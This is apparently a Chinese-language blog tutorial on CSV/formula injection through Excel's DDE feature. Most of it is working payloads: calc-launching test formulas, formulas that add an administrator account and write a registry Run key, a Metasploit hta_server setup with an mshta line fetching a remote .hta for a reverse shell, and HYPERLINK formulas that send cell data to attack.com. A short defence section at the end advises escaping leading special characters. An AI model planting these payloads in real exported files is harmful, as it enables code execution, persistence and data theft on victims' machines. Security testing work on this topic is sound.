漏洞介绍
现在很多应用提供了导出电子表格的功能(不限于 Web 应用),导出表格的功能可能会导致注入命令的风险,因为导出的表格数据有很多是来自于用户控制的,如:投票应用、邮箱导出。攻击方式类似于 XSS :所有的输入都是不可信的。利用CSV注入,可以执行任意系统命令,可导致用户数据泄露等风险。
漏洞原理
动态数据交换(DDE)协议是Windows提供的应用程序间进行数据传输的方法。DDE协议是一套消息和指示的集合,通过发送消息以及共享内存实现应用程序的数据共享和交换。应用程序可以使用DDE协议实现一次性数据传输以及持续的数据交换,利用DDE可以绕过OFFICE的宏限制,无需利用OFFICE文档漏洞,从而达到运行程序的目的,主要涉及文件类型有: xls、xlsx、csv。
CSV注入是一种会造成巨大影响的攻击向量。攻击包含向恶意的Excel中注入可以输出或以CSV文件读取的参数。当在Excel中打开CSV文件时,文件会从CSV描述转变为原始的Excel格式,包括Excel提供的所有动态功能。在这个过程中,CSV中的所有Excel公式都会执行。当该函数有合法意图时,很易被滥用并允许恶意代码执行。
测试&利用
测试:
对导出文件功能,可构造如下用例测试:
=cmd|'/c calc'!A1
+=cmd|'/c calc'!A1
@ABS(cmd|'/c calc'!A1)
-cmd|'/c calc'!A1
\", =cmd|'/c calc'!A1
", =cmd|'/c calc'!A1
xxx,=cmd|'/c calc'!A1
xxx\n =cmd|'/c calc'!A1
xxx;= cmd|'/c calc'!A1
利用:
OS命令执行
OS命令执行是最严重的危害,像上面讲的,既然能谈计算机也能执行绝大部分的命令,如:
开启任意应用程序
反弹shell
添加用户
=cmd|'/C net user test 123456 /add'!A0+<br>=cmd|'/C net user test 123456 /add && net localgroup administrators test /add'!A0
修改注册表
=cmd|'/C reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v calc /t REG_SZ /d c:\windows\system32\calc.exe /f'!A0
反弹shell这里我们需要利用Metasploit生成payload
use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 192.168.174.129
msf exploit(windows/misc/hta_server) > exploit
然后将再EXCEL中插入恶意载荷
+1+cmd|'/c mshta.exe http://192.168.192.135:8080/770MqXy.hta
'!A0
信息泄露
利用HyperLink方法,通过诱骗用户点击,将敏感信息以参数形式发送至目标网站
=HYPERLINK("https://attack.com?data="&A1,"click me")
网络钓鱼
既然能将用户数据提交至网站,同理,也能直接访问攻击者注入的钓鱼网站。
=HYPERLINK("https://attack.com?data="&A1,"click me")
也能通过控制浏览器访问钓鱼网站
=1+cmd|'/C "C:\Users\ASUS\AppData\Local\Google\Chrome\Application\chrome.exe" https://attack.com '!A0
防御
判断单元格不以特殊字符开头:+
,-
,@
,=
对特殊字符开头单元格添加"号或空格
标签:CSV,cmd,Excel,A1,A0,calc,注入 From: https://www.cnblogs.com/snad/p/17511555.html